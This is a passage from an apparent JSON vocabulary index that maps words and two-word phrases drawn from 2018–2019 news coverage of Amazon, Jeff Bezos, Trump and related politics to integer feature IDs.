benefactor": 194910, "author amber": 194911, "perp points": 194912, "dory": 194913, "mayor looking": 194914, "major surprise": 194915, "discounts known": 194916, "lectures presumptive": 194917, "socialist republic": 194918, "leftist owner": 194919, "russian aluminum": 194920, "lawless act": 194921, "trump catch": 194922, "antitrust criticisms": 194923, "inevitably": 194924, "ith": 194925, "joint health": 194926, "coming challenge": 194927, "toronto raptors": 194928, "facebook analyzing": 194929, "increase cybersecurity": 194930, "trump supporter": 194931, "star store": 194932, "der wienerschnitzel": 194933, "local activists": 194934, "york related": 194935, "court filings": 194936, "transfer": 194937, "tweet intended": 194938, "flag inside": 194939, "liquor swilling": 194940, "goldblum": 194941, "shrek": 194942, "president using": 194943, "monopoly quantifying": 194944, "travelers trv": 194945, "graphic novel": 194946, "political headlines": 194947, "storm rosa": 194948, "official events": 194949, "betting favorite": 194950, "corporate site": 194951, "getty_72664757_387844 jpg": 194952, "pods": 194953, "embarrassing distraction": 194954, "make food": 194955, "sound lot": 194956, "pete available": 194957, "comments represent": 194958, "targets venezuela": 194959, "mass robert": 194960, "giant toronto": 194961, "tremendous bounty": 194962, "trafficking camp": 194963, "downgrades kb": 194964, "virginia nashville": 194965, "negative number": 194966, "playgrounds": 194967, "southeast": 194968, "tech traders": 194969, "insist": 194970, "congressman ro": 194971, "2f13 2f17855358": 194972, "trump pointed": 194973, "share adjust": 194974, "supporters rallied": 194975, "amazon acquisition": 194976, "want": 194977, "amazon nasdaq": 194978, "uber google": 194979, "alexa creepy": 194980, "lately": 194981, "toxic chemicals": 194982, "vendors trump": 194983, "giving power": 194984, "fed moves": 194985, "report stating": 194986, "contaminated water": 194987, "space station": 194988, "paper tiger": 194989, "sports businesses": 194990, "important feature": 194991, "janis": 194992, "lin manuel": 194993, "gives performance": 194994, "shelter palestinian": 194995, "hold separate": 194996, "estimated 600": 194997, "understandable": 194998, "minimization": 194999, "say false": 195000, "driving president": 195001, "bezos snarks": 195002, "nyse cs": 195003, "trump disastrous": 195004, "heeding": 195005, "prep alum": 195006, "bit griffeth": 195007, "time schedule": 195008, "privilege iraq": 195009, "nydailynews": 195010, "designating": 195011, "launch boycottwalmart": 195012, "alamy live": 195013, "suit bound": 195014, "programming logic": 195015, "salesman new": 195016, "smackdowns": 195017, "government career": 195018, "burnt remains": 195019, "heart sank": 195020, "wireless charger": 195021, "government expansion": 195022, "bluefin trading": 195023, "ensures walmart": 195024, "700 chief": 195025, "toilet memes": 195026, "yes network": 195027, "family shepherd": 195028, "g1ykjappwy": 195029, "facetime service": 195030, "huseman vice": 195031, "campus": 195032, "stores closed": 195033, "homecare worker": 195034, "company think": 195035, "mum": 195036, "way determine": 195037, "witch teenager": 195038, "facing america": 195039, "amid rout": 195040, "amazon topped": 195041, "send private": 195042, "meantime trump": 195043, "pretty harmless": 195044, "cigar wars": 195045, "website logistics": 195046, "ismobilebannertext false": 195047, "ask osha": 195048, "owlfirstitem cnn": 195049, "corporate driven": 195050, "boston casino": 195051, "bezos expeditions": 195052, "amazon save": 195053, "wall funding": 195054, "overestimated": 195055, "consistent wage": 195056, "newseum stopped": 195057, "columnist jack": 195058, "commitments consumer": 195059, "service wants": 195060, "mohammad": 195061, "goog": 195062, "brice": 195063, "mccaskill facebook": 195064, "product manufacturers": 195065, "crawford": 195066, "did try": 195067, "devious": 195068, "disgusting deplorable": 195069, "habitat interconnectivity": 195070, "offering coupon": 195071, "financial political": 195072, "italy amazon": 195073, "torel owner": 195074, "honeymooning": 195075, "du jour": 195076, "incisive unshowy": 195077, "deal ami": 195078, "technology transfer": 195079, "president fernando": 195080, "typeof playerinstance": 195081, "fairly expensive": 195082, "forget willie": 195083, "airline industry": 195084, "false inc_autoplay_videoflag": 195085, "scott fight": 195086, "2014 war": 195087, "getting additional": 195088, "capes bearing": 195089, "accused alphabet": 195090, "aws right": 195091, "analyst actually": 195092, "thinks asa": 195093, "hopefull": 195094, "jolts reports": 195095, "absolute best": 195096, "amazon fabled": 195097, "billion crony": 195098, "saving capitalism": 195099, "41billion": 195100, "acrylic": 195101, "fasanella": 195102, "waiting does": 195103, "local tax": 195104, "example stitch": 195105, "american magazine": 195106, "maryland billion": 195107, "london nixes": 195108, "gmo": 195109, "near major": 195110, "highlighted relatively": 195111, "brown brothers": 195112, "formed": 195113, "bracamontes": 195114, "expansive": 195115, "crossbow": 195116, "trade fights": 195117, "investors hold": 195118, "freedom legislation": 195119, "aides staunch": 195120, "onborder security": 195121, "class amazon": 195122, "company order": 195123, "helped orchestrate": 195124, "support raising": 195125, "eastern nation": 195126, "significant marketing": 195127, "water quality": 195128, "remarkable html": 195129, "regime rep": 195130, "rates near": 195131, "obtained copy": 195132, "uk prime": 195133, "charles touts": 195134, "scruffy": 195135, "blackmail allow": 195136, "momentum saying": 195137, "latent": 195138, "service boost": 195139, "digitally empowered": 195140, "twitter amazon": 195141, "period": 195142, "day early": 195143, "upbeat comments": 195144, "treatment philip": 195145, "acquire onewest": 195146, "administration activities": 195147, "wave consuming": 195148, "finger instead": 195149, "trump ones": 195150, "location near": 195151, "european stock": 195152, "held inside": 195153, "eliciting": 195154, "company struggled": 195155, "hospital schr\u00f6dinger": 195156, "eliminate competition": 195157, "28news 2f": 195158, "pastime": 195159, "john dorsey": 195160, "called healthy": 195161, "senator todd": 195162, "important things": 195163, "took meetings": 195164, "pelosi claimed": 195165, "historic high": 195166, "philanthropist": 195167, "critics suggesting": 195168, "tweet notably": 195169, "owners liable": 195170, "cnn documented": 195171, "courant": 195172, "hold talks": 195173, "hubris laced": 195174, "ballard leading": 195175, "cannon": 195176, "election pecker": 195177, "features fox": 195178, "neighbors house": 195179, "house kill": 195180, "reporter jeff": 195181, "new essay": 195182, "ratios": 195183, "mutually beneficial": 195184, "grant followed": 195185, "turbo boost": 195186, "ammunition": 195187, "essentially owns": 195188, "collaborated": 195189, "just hey": 195190, "asshat": 195191, "prescribing parts": 195192, "locking": 195193, "lobbyist key": 195194, "reuters world": 195195, "online behemoth": 195196, "294bn compared": 195197, "charmed": 195198, "authorimage": 195199, "morocco": 195200, "scoring": 195201, "executive chairman": 195202, "985": 195203, "mcmaster stress": 195204, "tube cc": 195205, "problems trump": 195206, "critique": 195207, "routinely uses": 195208, "government conservatives": 195209, "media looks": 195210, "contract bloomberg": 195211, "tom mchale": 195212, "relentless fight": 195213, "rallied": 195214, "companies need": 195215, "pounds lifespan": 195216, "39572 p7a": 195217, "takes new": 195218, "2018 millennial": 195219, "amd shares": 195220, "house transit": 195221, "riding high": 195222, "combines": 195223, "early voting": 195224, "sunset beach": 195225, "1040": 195226, "heres exactly": 195227, "rate socialism": 195228, "extreme droughts": 195229, "allege potential": 195230, "infertility": 195231, "effectively prevent": 195232, "pullback": 195233, "obtained bezos": 195234, "headline": 195235, "vendor managers": 195236, "exploration boom": 195237, "amazon classic": 195238, "increased possibilities": 195239, "protect saudi": 195240, "editorial writing": 195241, "traditional car": 195242, "oil prices": 195243, "researched": 195244, "multiple suits": 195245, "running unopposed": 195246, "couch": 195247, "available funding": 195248, "billionaire sports": 195249, "storefronts landing": 195250, "related woes": 195251, "stoppelman": 195252, "definers": 195253, "election later": 195254, "national priorities": 195255, "hallquist": 195256, "cup action": 195257, "usa packs": 195258, "senate crowley": 195259, "bbc ebay": 195260, "costume institute": 195261, "tariffs uu": 195262, "schedule shifts": 195263, "new nominee": 195264, "iwas": 195265, "freq compidx": 195266, "people weren": 195267, "self determination": 195268, "memoir educated": 195269, "caijing reported": 195270, "segment amazon": 195271, "healthy way": 195272, "4chan moderator": 195273, "alessandra says": 195274, "sound investment": 195275, "racism rep": 195276, "comcast rival": 195277, "means bigger": 195278, "free montessori": 195279, "significant force": 195280, "including things": 195281, "pubgmhbd": 195282, "crony relationships": 195283, "carefully remove": 195284, "tariff mnuchin": 195285, "touted efforts": 195286, "reigned": 195287, "cronk adds": 195288, "privileged lives": 195289, "lately bezos": 195290, "nomination rounds": 195291, "company competing": 195292, "update remarks": 195293, "prior week": 195294, "maxwell tani": 195295, "don start": 195296, "divided prime": 195297, "defenses erected": 195298, "sue herera": 195299, "connecting trump": 195300, "voters blame": 195301, "rep jim": 195302, "dheeraj": 195303, "lang en": 195304, "service prime": 195305, "low quality": 195306, "yay democrat": 195307, "european indices": 195308, "tom cruise": 195309, "linked lawyer": 195310, "trump afp": 195311, "based entirely": 195312, "orientation": 195313, "repair parties": 195314, "treasure trove": 195315, "daily email": 195316, "repels": 195317, "liberia": 195318, "discover new": 195319, "headline new": 195320, "acquire reo": 195321, "story robinhood": 195322, "photos film": 195323, "prefund": 195324, "predates": 195325, "_items": 195326, "change depending": 195327, "services profitability": 195328, "beyonce": 195329, "fielded similar": 195330, "fictionalized": 195331, "cesar moreira": 195332, "make restrooms": 195333, "stomach": 195334, "including paths": 195335, "child migrant": 195336, "factor driving": 195337, "wto": 195338, "binary sex": 195339, "attacks pit": 195340, "large market": 195341, "omers ventures": 195342, "specializing": 195343, "better holiday": 195344, "youtube channel": 195345, "story photo": 195346, "considered ban": 195347, "coffers freer": 195348, "start speaking": 195349, "won deter": 195350, "glands": 195351, "muhlissa_ann": 195352, "actually declared": 195353, "times counter": 195354, "sourcewikipedia": 195355, "oz status": 195356, "summarily": 195357, "guthrie allison": 195358, "m8i g7a": 195359, "fellowship sponsor": 195360, "stifling conservative": 195361, "juliehirschfeld davis": 195362, "distinguishes": 195363, "installation ceremony": 195364, "union": 195365, "attempted sabotage": 195366, "unprecedented domestic": 195367, "220 million": 195368, "main exception": 195369, "unions progressive": 195370, "wildfires 2018": 195371, "german author": 195372, "extreme case": 195373, "partnerships internationally": 195374, "fierce": 195375, "commemorative coins": 195376, "health planning": 195377, "general information": 195378, "report garofalo": 195379, "forbes magazine": 195380, "track record": 195381, "robotics technology": 195382, "laugh liberally": 195383, "banks opening": 195384, "vendors wholesale": 195385, "amazon fortune": 195386, "california new": 195387, "walking dancing": 195388, "authority direction": 195389, "boxer": 195390, "easily secure": 195391, "billion package": 195392, "bt9ywxg10s": 195393, "phillip fearnside": 195394, "amazon bureaucracy": 195395, "companies report": 195396, "lobbed": 195397, "citing trump": 195398, "gov costa": 195399, "dignity seeking": 195400, "seeking permission": 195401, "list chart": 195402, "delivers forceful": 195403, "possible emoluments": 195404, "paying wages": 195405, "ihob": 195406, "outdated platforms": 195407, "reconsidering governor": 195408, "business software": 195409, "ground stations": 195410, "drink travel": 195411, "temer": 195412, "intertwined company": 195413, "commission decision": 195414, "ing": 195415, "greatest intellectual": 195416, "credit reporter": 195417, "cherry": 195418, "jobs really": 195419, "chasing commerce": 195420, "amendments designed": 195421, "buluo group": 195422, "factory jobs": 195423, "amtrak": 195424, "shutdown limiting": 195425, "handsome dividend": 195426, "authentication requirements": 195427, "dalai lama": 195428, "exploratory committee": 195429, "battle lines": 195430, "influence election": 195431, "terrifying example": 195432, "recounts little": 195433, "earning teaching": 195434, "chapter john": 195435, "shuttered": 195436, "women rights": 195437, "physicians": 195438, "archive netflix": 195439, "dramatic dramatic": 195440, "ehudgins": 195441, "containerid cnn": 195442, "marshall abortion": 195443, "marijuana human": 195444, "merely uplifting": 195445, "new filing": 195446, "later review": 195447, "deal says": 195448, "trump dismissing": 195449, "ryan offers": 195450, "day investigator": 195451, "missing loved": 195452, "despite counsel": 195453, "borders trump": 195454, "search engines": 195455, "invoking": 195456, "direct contact": 195457, "total addressable": 195458, "version encoding": 195459, "windfall": 195460, "kelman ceo": 195461, "widely used": 195462, "important world": 195463, "cross marketing": 195464, "o4e": 195465, "television license": 195466, "christmasiscoming european": 195467, "illegal tax": 195468, "chan wook": 195469, "cabinet withdrawing": 195470, "281": 195471, "state capture": 195472, "staging protests": 195473, "nasdaq cost": 195474, "latest tariff": 195475, "aggressively policing": 195476, "vietnamese": 195477, "bike racks": 195478, "leaders want": 195479, "delectable": 195480, "eu fine": 195481, "tv james": 195482, "haven felt": 195483, "problems understanding": 195484, "amazon avid": 195485, "spat escalates": 195486, "comfortably run": 195487, "citizen furor": 195488, "portugal": 195489, "dubuque": 195490, "gateway pundit": 195491, "indictment 2018": 195492, "millionaire": 195493, "prestigious news": 195494, "sec filing": 195495, "struck blow": 195496, "caused major": 195497, "reuters representative": 195498, "sonyliv": 195499, "flattered": 195500, "rest lead": 195501, "kit": 195502, "rhetoric calling": 195503, "country king": 195504, "soon start": 195505, "direct arrangement": 195506, "market shanghai": 195507, "kroger": 195508, "chelsea mich": 195509, "amazon hold": 195510, "estimated state": 195511, "quell": 195512, "pentagon plan": 195513, "iduskcn1ly16z feedtype": 195514, "opponent": 195515, "rail": 195516, "king yeah": 195517, "news": 195518, "davidklion": 195519, "chattanooga": 195520, "box store": 195521, "pdf support": 195522, "finally passing": 195523, "uk fulfillment": 195524, "various professional": 195525, "offers health": 195526, "time anonymous": 195527, "acto": 195528, "reid hoffman": 195529, "rick mills": 195530, "fewer related": 195531, "paying internet": 195532, "reborn": 195533, "saudi elites": 195534, "poverty pardons": 195535, "grace": 195536, "powerful new": 195537, "china steals": 195538, "huguen trump": 195539, "recommends": 195540, "inherited fortune": 195541, "estate trends": 195542, "kass": 195543, "amaon": 195544, "term wisconsin": 195545, "redmi k20": 195546, "permanent bipartisan": 195547, "javier bardem": 195548, "rival firms": 195549, "cuisine": 195550, "arthur schwartz": 195551, "statuscolor targettype": 195552, "articles mexico": 195553, "fraught": 195554, "blimp snopes": 195555, "low usps": 195556, "market won": 195557, "delivery photographer": 195558, "greatest test": 195559, "arbitrarily": 195560, "make distinction": 195561, "pretty hands": 195562, "schedule": 195563, "potentially impeachment": 195564, "plans match": 195565, "women constance": 195566, "effectively allowing": 195567, "multiple markets": 195568, "greater irony": 195569, "san anselmo": 195570, "american postal": 195571, "taxpaying americans": 195572, "minimal": 195573, "euro led": 195574, "nondominant": 195575, "dollar economy": 195576, "power cloud": 195577, "transportation stations": 195578, "including recruiters": 195579, "politics today": 195580, "horn consists": 195581, "promulgate new": 195582, "entire net": 195583, "facebook permitted": 195584, "videoplayer cnnvideoapi": 195585, "federal reimbursement": 195586, "stigma": 195587, "care law": 195588, "foe amazon": 195589, "silencing": 195590, "natural pet": 195591, "faces murder": 195592, "farmers ranchers": 195593, "began training": 195594, "claims bezos": 195595, "mckinnon washington": 195596, "center frontier": 195597, "denied": 195598, "west apple": 195599, "franco ordo\u00f1ez": 195600, "service avoids": 195601, "impact el": 195602, "position earlier": 195603, "service saying": 195604, "cited gains": 195605, "little green": 195606, "achieve": 195607, "metapack mailing": 195608, "today eye": 195609, "2019 shipping": 195610, "bezos look": 195611, "signuppage utm_content": 195612, "motivates": 195613, "growing neighborhoods": 195614, "premarket activity": 195615, "monthly breakdown": 195616, "fun filled": 195617, "ikea": 195618, "credit": 195619, "databases": 195620, "9550": 195621, "feld llp": 195622, "stephanie clifford": 195623, "new introduction": 195624, "edge technology": 195625, "bid brian": 195626, "constantly": 195627, "ofthe": 195628, "public spat": 195629, "simply components": 195630, "clear value": 195631, "rocky summer": 195632, "10bil rm40": 195633, "manage taxes": 195634, "tried seeking": 195635, "vastly different": 195636, "currency amazon": 195637, "donations govpredict": 195638, "better leverages": 195639, "assault growing": 195640, "longshot": 195641, "enforces": 195642, "trump lines": 195643, "level discussion": 195644, "split evenly": 195645, "revealed final": 195646, "pac focused": 195647, "avoid prosecution": 195648, "peasant families": 195649, "financial byline": 195650, "public just": 195651, "check rauner": 195652, "despite multiple": 195653, "herman": 195654, "services using": 195655, "start trading": 195656, "religious supporters": 195657, "collusion smoking": 195658, "fisman": 195659, "ethnicities": 195660, "f4 o2x": 195661, "markets leave": 195662, "flush days": 195663, "amazon double": 195664, "samsung previously": 195665, "quantitative analyst": 195666, "amazon survived": 195667, "reiterating": 195668, "wood stated": 195669, "lightfoot": 195670, "warehouses rely": 195671, "hats shirts": 195672, "asked kudlow": 195673, "cornell belcher": 195674, "drugs chips": 195675, "2019 buyer": 195676, "political targeting": 195677, "bezos railing": 195678, "absolutely bartiromo": 195679, "periods individuals": 195680, "phil scott": 195681, "elevens carell": 195682, "rejoice": 195683, "wealthier countries": 195684, "stunning limited": 195685, "kong": 195686, "revenue estimate": 195687, "craig setzer": 195688, "giant head": 195689, "similar programs": 195690, "million focus": 195691, "cleanroom portfolio": 195692, "repeat customers": 195693, "small tariffs": 195694, "cult hits": 195695, "hq2 include": 195696, "tub": 195697, "discernible harm": 195698, "sen amazon": 195699, "discourse rye": 195700, "francis ends": 195701, "profitable corporation": 195702, "attends trump": 195703, "kennebunkport maine": 195704, "machinations": 195705, "131 billion": 195706, "week response": 195707, "umi": 195708, "severe housing": 195709, "filmmaking leaving": 195710, "voted overwhelmingly": 195711, "2018 elections": 195712, "housewares": 195713, "indian jamaican": 195714, "significant boost": 195715, "yes pete": 195716, "sexual liberation": 195717, "menlo park": 195718, "circular basis": 195719, "flying fish": 195720, "extraordinary strategic": 195721, "make acquisitions": 195722, "war looms": 195723, "foremost loyal": 195724, "wealthy suburbs": 195725, "wpl1cux1dn pic": 195726, "immigrants according": 195727, "usps rate": 195728, "usually stays": 195729, "owns washington": 195730, "evaluating": 195731, "mcdowell": 195732, "trump falsely": 195733, "boyarde": 195734, "president reggie": 195735, "bipartisan ceos": 195736, "industrial data": 195737, "remarked": 195738, "minutes away": 195739, "president angry": 195740, "book fear": 195741, "hand laid": 195742, "eventually signed": 195743, "discredited": 195744, "mbs": 195745, "warned explicitly": 195746, "fiddler": 195747, "pursue greater": 195748, "radically changed": 195749, "vz benzinga": 195750, "promises likewise": 195751, "plant compare": 195752, "500 poised": 195753, "willcontinue": 195754, "family comedians": 195755, "million apple": 195756, "rhetoric hasn": 195757, "yesterday look": 195758, "consistently badmouthed": 195759, "customers set": 195760, "track smart": 195761, "chic": 195762, "create huge": 195763, "acquired instagram": 195764, "pillaging": 195765, "tilted somewhat": 195766, "prescription benefit": 195767, "martial": 195768, "government rbc": 195769, "major foreign": 195770, "rae insecure": 195771, "entitle": 195772, "ap file": 195773, "actively associating": 195774, "contradict biased": 195775, "self defeating": 195776, "companies leading": 195777, "enforcement cnbc": 195778, "tighten monetary": 195779, "say proving": 195780, "legislature governor": 195781, "times amazon": 195782, "comprehensive medical": 195783, "dorsey signed": 195784, "demand content": 195785, "entrepreneurial capitalism": 195786, "bend": 195787, "depth examination": 195788, "influence amazon": 195789, "geography iq": 195790, "closest traditional": 195791, "highly vocal": 195792, "intervention mijente": 195793, "2019 saying": 195794, "offering people": 195795, "justice delayed": 195796, "penn": 195797, "demarcate": 195798, "organic growth": 195799, "mismanaged": 195800, "jay powell": 195801, "dislike": 195802, "conclusion tl": 195803, "species sacrifice": 195804, "applicant": 195805, "totalshtrump 300dpi": 195806, "hq2 hq2": 195807, "security importance": 195808, "alright governor": 195809, "kudlow bobbed": 195810, "geraldo": 195811, "getting goods": 195812, "zeile": 195813, "official store": 195814, "home installation": 195815, "known locally": 195816, "rebecca jarvis": 195817, "congress scarborough": 195818, "claim amazon": 195819, "great details": 195820, "yudhoyono oct": 195821, "distinguish counterfeits": 195822, "1999 settlement": 195823, "764 shares": 195824, "scorers": 195825, "000 google": 195826, "0001": 195827, "canadian pride": 195828, "related bezos": 195829, "deny": 195830, "fantasy watch": 195831, "samsung 128gb": 195832, "online chat": 195833, "added privately": 195834, "place affect": 195835, "painstaking": 195836, "adrianne palicki": 195837, "ousted chairman": 195838, "office maybe": 195839, "dollar divorce": 195840, "leaked texts": 195841, "american journos": 195842, "receive anthrax": 195843, "relationship soured": 195844, "evasion": 195845, "coerce victims": 195846, "receive nearly": 195847, "included feature": 195848, "resists": 195849, "markle": 195850, "haaland posted": 195851, "counterfeit industry": 195852, "wet dream": 195853, "marielle": 195854, "buying story": 195855, "photo campaign": 195856, "cio represents": 195857, "avoiding paying": 195858, "bluntly": 195859, "calatrello cleveland": 195860, "need 700": 195861, "8221 actually": 195862, "articles bezos": 195863, "safest": 195864, "fleet vehicles": 195865, "recording artist": 195866, "cheaper efficient": 195867, "change facebook": 195868, "airlines flying": 195869, "issued": 195870, "think theamerican": 195871, "money congressman": 195872, "bipartisan committee": 195873, "eckhart": 195874, "tiffani thiessen": 195875, "buffett rethinks": 195876, "blue room": 195877, "accessibility services": 195878, "zuckerberg says": 195879, "things took": 195880, "carlson copies": 195881, "paragraph ip": 195882, "ursula le": 195883, "recognition powered": 195884, "teachers wear": 195885, "certificates afghan": 195886, "ending juggernaut": 195887, "renovation plans": 195888, "shock": 195889, "accounts treated": 195890, "ken ken": 195891, "exclusive black": 195892, "reported recently": 195893, "bike companies": 195894, "behar": 195895, "famously messy": 195896, "redmond": 195897, "talents markets": 195898, "matters user": 195899, "physique": 195900, "minute shopping": 195901, "tweets earlier": 195902, "caravan special": 195903, "religious liberty": 195904, "effective protest": 195905, "z\u00e9lie": 195906, "baron told": 195907, "j8i g0": 195908, "directive ordering": 195909, "embarrassing information": 195910, "monthly mortgage": 195911, "mario kart": 195912, "yalelawjournal": 195913, "richer cringely": 195914, "taylor": 195915, "companies coming": 195916, "salvo": 195917, "nissan bitterness": 195918, "pecker struck": 195919, "unreasonable risks": 195920, "oncapitol": 195921, "stop talking": 195922, "retailer 2018": 195923, "house strategic": 195924, "quantifying comcast": 195925, "poor net": 195926, "worth 630": 195927, "warsaw": 195928, "20great 20again": 195929, "political violence": 195930, "jobs despite": 195931, "cisgender": 195932, "volumes grew": 195933, "senator wasn": 195934, "company photo": 195935, "congress lauren": 195936, "k4a k8": 195937, "highs": 195938, "coincidentally": 195939, "good acting": 195940, "accounts quarles": 195941, "candidate attorney": 195942, "wapo reporter": 195943, "democratic administration": 195944, "told pogo": 195945, "nyse utx": 195946, "siblings": 195947, "price grows": 195948, "open houses": 195949, "personage issues": 195950, "sitcom revolves": 195951, "new urus": 195952, "fickling": 195953, "harvard educated": 195954, "zones conservative": 195955, "short battery": 195956, "prefer keeping": 195957, "combination raises": 195958, "2018 paid": 195959, "grocery coverage": 195960, "story sen": 195961, "understanding boundaries": 195962, "digitally created": 195963, "minority status": 195964, "minimum guaranteed": 195965, "mccain": 195966, "instantly visible": 195967, "hit wide": 195968, "script": 195969, "organization businesses": 195970, "usps welcomes": 195971, "senate bills": 195972, "transgender nonsense": 195973, "graduate gis": 195974, "way going": 195975, "carbon emissions": 195976, "nuclear": 195977, "studies joins": 195978, "prix": 195979, "sure community": 195980, "anticipated admission": 195981, "sliding": 195982, "ami elkan": 195983, "damocles": 195984, "parenting dear": 195985, "standher ground": 195986, "famously destroyed": 195987, "nation soil": 195988, "grows steadily": 195989, "point hard": 195990, "federal reorg": 195991, "remain extremely": 195992, "nominated novel": 195993, "sector did": 195994, "blindly": 195995, "sole": 195996, "incredibly ambiguous": 195997, "local events": 195998, "vegas casino": 195999, "motor vehicles": 196000, "sbd donnelly": 196001, "company annual": 196002, "upstart competitors": 196003, "latin american": 196004, "quadro": 196005, "shocked stuart": 196006, "version suddenly": 196007, "resident": 196008, "market attracts": 196009, "unknowingly ordered": 196010, "loving brother": 196011, "running company": 196012, "feeling depressed": 196013, "traders clickhereto": 196014, "partially reflect": 196015, "foreign manipulation": 196016, "splinter": 196017, "email sign": 196018, "state practice": 196019, "past century": 196020, "effective": 196021, "neighborhood chopping": 196022, "wwii grows": 196023, "house norah": 196024, "defeated amazon": 196025, "descriptiontext danish": 196026, "extortion bid": 196027, "ultimate outcomes": 196028, "huffpo coalition": 196029, "virigina political": 196030, "facebook denies": 196031, "denies newsweek": 196032, "government documents": 196033, "wing progressive": 196034, "golden child": 196035, "jpg 336x336": 196036, "increasingly bipartisan": 196037, "term noting": 196038, "tabak strategist": 196039, "service starting": 196040, "ideological opposite": 196041, "conservative conspiracy": 196042, "gawande frequently": 196043, "states shrank": 196044, "divestment": 196045, "israel treatment": 196046, "facebook travel": 196047, "testing stocks": 196048, "beautiful cities": 196049, "dwindled": 196050, "seen resurgence": 196051, "trump books": 196052, "democrat christine": 196053, "bezos ceo": 196054, "foreign small": 196055, "vaccines philadelphia": 196056, "great jobs": 196057, "pres pence": 196058, "central europe": 196059, "say southeast": 196060, "deliberate theft": 196061, "madison tweeted": 196062, "report concluded": 196063, "doesn understand": 196064, "phenomenon": 196065, "infrastructure better": 196066, "aws presentation": 196067, "london julian": 196068, "announcement state": 196069, "150 containers": 196070, "estate physical": 196071, "expected later": 196072, "people draw": 196073, "patrick morrisey": 196074, "digital pin": 196075, "excluding farm": 196076, "leeds": 196077, "online pharmacy": 196078, "tabloid headlines": 196079, "anders bylund": 196080, "jeremy sold": 196081, "technology titans": 196082, "order barring": 196083, "frustrated millions": 196084, "tote duffel": 196085, "buying mvmt": 196086, "abernathy": 196087, "video column": 196088, "public companies": 196089, "barcott": 196090, "including rene": 196091, "post facebook": 196092, "xel": 196093, "tabloid press": 196094, "test projects": 196095, "graduating high": 196096, "trump cleans": 196097, "husband grave": 196098, "artist according": 196099, "650 shares": 196100, "environmental obstacles": 196101, "lake house": 196102, "36m shares": 196103, "torpedo": 196104, "types amazon": 196105, "tales disaster": 196106, "cost cutting": 196107, "closely republican": 196108, "cognitive decline": 196109, "scold": 196110, "clients customers": 196111, "prevention netflix": 196112, "security security": 196113, "security dhs": 196114, "personal supply": 196115, "alimony mackenzie": 196116, "including payments": 196117, "technology including": 196118, "argentine coast": 196119, "playing leading": 196120, "787 orders": 196121, "feasible": 196122, "political tariff": 196123, "truly interested": 196124, "retarded": 196125, "rights campaign": 196126, "45m": 196127, "council hostile": 196128, "life liberty": 196129, "width 650px": 196130, "twitter ubhi": 196131, "hate discussions": 196132, "benefits suggest": 196133, "industrial city": 196134, "bezos tech": 196135, "tariffs analysts": 196136, "authorities confirmed": 196137, "plums": 196138, "1iq5vw0": 196139, "c2x": 196140, "instead hq2": 196141, "tabak": 196142, "hyped decision": 196143, "motherboards": 196144, "president denied": 196145, "small switches": 196146, "melting pot": 196147, "trump weighing": 196148, "hq2 government": 196149, "friends partners": 196150, "bozo seemingly": 196151, "encouraged business": 196152, "original priority": 196153, "hermes dpd": 196154, "scribd": 196155, "crafting makeshift": 196156, "city immigrant": 196157, "war hero": 196158, "nratv amazon": 196159, "including roger": 196160, "stake bloomberg": 196161, "trump promises": 196162, "just ran": 196163, "thomson navigating": 196164, "split today": 196165, "asset george": 196166, "netflix rashida": 196167, "baltimore southeast": 196168, "opposition california": 196169, "pillpack majority": 196170, "pastime hawked": 196171, "pass bicycle": 196172, "recent proposal": 196173, "money upgrade": 196174, "facing anti": 196175, "leaders including": 196176, "dyed": 196177, "confident": 196178, "did new": 196179, "fannie": 196180, "tano": 196181, "huppke": 196182, "mijente conmijente": 196183, "corporate news": 196184, "derechos": 196185, "high technology": 196186, "combined economic": 196187, "todd vanderwerff": 196188, "unsafe products": 196189, "pe\u00f1a": 196190, "government regulatory": 196191, "traditional letters": 196192, "trade": 196193, "discussed": 196194, "makes lenses": 196195, "alms": 196196, "moguls love": 196197, "bloomberg journalist": 196198, "fighting": 196199, "amazon moscow": 196200, "community respects": 196201, "associating": 196202, "rejected trump": 196203, "preventing workers": 196204, "state sierra": 196205, "market equalizer": 196206, "iii apparel": 196207, "amazon natch": 196208, "accompany visitors": 196209, "cnn videourl": 196210, "colarossi": 196211, "office amid": 196212, "dawn davies": 196213, "v7a k4a": 196214, "sharp shifts": 196215, "campaign disbursements": 196216, "bad guy": 196217, "mi holds": 196218, "costs airborne": 196219, "initially dropped": 196220, "american couple": 196221, "buy lot": 196222, "sea": 196223, "required principal": 196224, "masthead line": 196225, "alli": 196226, "metropolitan transportation": 196227, "dame says": 196228, "500 enlistees": 196229, "estate investor": 196230, "leader kim": 196231, "warning inventory": 196232, "amazon team": 196233, "carell took": 196234, "economic program": 196235, "sommerfeld": 196236, "indian restaurant": 196237, "judd apatow": 196238, "cornell study": 196239, "list included": 196240, "round according": 196241, "numbered": 196242, "bochy final": 196243, "democrats nominated": 196244, "analyst matthew": 196245, "workplace culture": 196246, "halifax bride": 196247, "weir associate": 196248, "abstract taxation": 196249, "wilson president": 196250, "provides facial": 196251, "nonstick upgrade": 196252, "fedex expects": 196253, "robocalls especially": 196254, "follow similar": 196255, "gonzalez senior": 196256, "computing resources": 196257, "navigating": 196258, "consider swapping": 196259, "win reed": 196260, "contrast day": 196261, "marsden says": 196262, "2018": 196263, "brent leary": 196264, "flags": 196265, "borders long": 196266, "hardship": 196267, "activity stream": 196268, "e5e r4ee": 196269, "president finds": 196270, "initmeta fail": 196271, "sypha": 196272, "microvms": 196273, "furious ms": 196274, "america sector": 196275, "hoped bezos": 196276, "prior leases": 196277, "vanderhoof associate": 196278, "israeli undercover": 196279, "impossible fallout": 196280, "scenes tour": 196281, "amazon moving": 196282, "users advances": 196283, "present rent": 196284, "companies misuse": 196285, "customer focused": 196286, "truly manipulate": 196287, "compelling crime": 196288, "pumping": 196289, "228504 images": 196290, "post functions": 196291, "devious terrorist": 196292, "items just": 196293, "dallasnews": 196294, "theory emerged": 196295, "secretary visit": 196296, "advisors market": 196297, "announced year": 196298, "investor day": 196299, "letters addressed": 196300, "namesake later": 196301, "race race": 196302, "marketwatch 415": 196303, "react avoiding": 196304, "lawyers chapter": 196305, "tariffs china": 196306, "crucial component": 196307, "black slaves": 196308, "mccarthyism": 196309, "stocks lead": 196310, "merely sent": 196311, "discount department": 196312, "soiree": 196313, "z8 l2": 196314, "skies": 196315, "ofthe united": 196316, "today facebook": 196317, "warns pakistan": 196318, "investor demand": 196319, "habits precious": 196320, "158": 196321, "content follow": 196322, "kappafrik management": 196323, "wedding princess": 196324, "praising": 196325, "wrote paul": 196326, "112bn making": 196327, "handle sales": 196328, "identification leave": 196329, "swift told": 196330, "perennial": 196331, "johnson left": 196332, "reduce human": 196333, "faang report": 196334, "public health": 196335, "media donald": 196336, "overreacts": 196337, "2018 manigault": 196338, "tom mccarthy": 